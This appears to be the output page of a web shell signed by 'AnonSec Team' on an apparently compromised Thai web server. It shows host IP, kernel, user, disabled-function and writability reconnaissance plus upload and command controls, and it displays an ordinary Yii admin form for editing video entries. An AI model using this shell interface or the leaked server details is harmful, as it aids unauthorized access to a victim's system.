NG1NDEX
Server IP : 103.233.192.212  /  Your IP : 3.134.105.118
Web Server : Apache/2
System : Linux sv1.inde.co.th 3.10.0-1160.36.2.el7.x86_64 #1 SMP Wed Jul 21 11:57:15 UTC 2021 x86_64
User : sumpatuan ( 1058)
PHP Version : 5.5.38
Disable Function : symlink,shell_exec,exec,proc_close,proc_open,popen,system,dl,putenv,passthru,escapeshellarg,escapeshellcmd,pcntl_exec,proc_get_status,proc_nice,proc_terminate,pclose,ini_alter,virtual,openlog,ini_restore
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/sumpatuan/public_html/backup/protected/views/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/sumpatuan/public_html/backup/protected/views/admin/vdoEdit.php
<div class="row-fluid formview-header-bar">
    <div class="span12">
        <ul class="breadcrumb">
            <li><a href="<?php echo Yii::app()->controller->createUrl('MainBackend'); ?>">หน้าหลัก</a> <span class="divider">/</span></li>
            <li><a href="<?php echo Yii::app()->controller->createUrl('VdoMain'); ?>">วีดีโอ</a> <span class="divider">/</span></li>
            <li class="active">แก้ไขข้อมูล วีดีโอ</li>
        </ul>
    </div>
</div>

<div class="row-fluid">
    <div class="span12">
        
        <?php
        echo $form = EHtml::beginForm();
        EHtml::setOptions(array(
            'errorContainer' => 'div.errorSummary',
            'errorLabelContainer' => 'div.errorSummary ul'
        ));
        echo EHtml::activeHiddenField($model, 'id');
        ?>
        <div class="errorSummary errorSummaryCustom" style="display: none;">
            <?php echo EHtml::errorSummary($model); ?>
            <p><i class="icon-info-sign"></i>เกิดข้อผิดพลาด</p>
            <ul></ul>
            <hr />
        </div>
        <table class="tableForm">
            <tr>
                <td class="tableFormRight" width="130"><?php echo EHtml::activeLabel($model, 'vdo_name'); ?></td>
                <td><?php echo EHtml::activeTextField($model, 'vdo_name', array('class'=>'span6', 'placeholder'=>'ชื่อ VDO')); ?></td>
            </tr>
            <tr>
                <td class="tableFormRight"><?php echo EHtml::activeLabel($model, 'youtube_id'); ?></td>
                <td><?php echo EHtml::activeTextField($model, 'youtube_id', array('placeholder'=>'รหัส Youtube')); ?></td>
            </tr>
            <tr>
                <td class="tableFormRight"><?php echo EHtml::activeLabel($model, 'vdo_status'); ?></td>
                <td><?php echo EHtml::activeDropDownList($model, 'vdo_status', OtherFunction::status()) ?></td>
            </tr>
            <tr>
                <td class="tableFormRight" style="padding-top: 20px;"><label>ตัวอย่าง Youtube ID</label></td>
                <td style="padding-top: 20px;">
                    <label>http://www.youtube.com/watch?v=<span style="color: red;">HZV-ggoTQ7s</span>&nbsp;&nbsp;<i class="icon-chevron-right"></i>&nbsp
                    <span style="font-weight: bold; color: blue; text-decoration: underline;">นำรหัส HZV-ggoTQ7s ใส่ยังช่องกรอก Youtube ID</span></label>
                </td>
            </tr>
            <tr>
                <td class="tableFormRight"><label>ตัวอย่าง Youtube ID</label></td>
                <td>
                    <?php echo EHtml::image(Yii::app()->baseUrl.'/images/images-etc/examYoutubeID.png', '', array('width'=>'300')); ?>
                </td>
            </tr>
            <tr>
                <td></td>
                <td>
                    <?php echo EHtml::submitButton('ตกลง', array('class'=>'btn btn-primary')); ?>
                </td>
            </tr>
        </table>
        <?php echo EHtml::endForm(); ?>
        
    </div>
</div>

Anon7 - 2022
AnonSec Team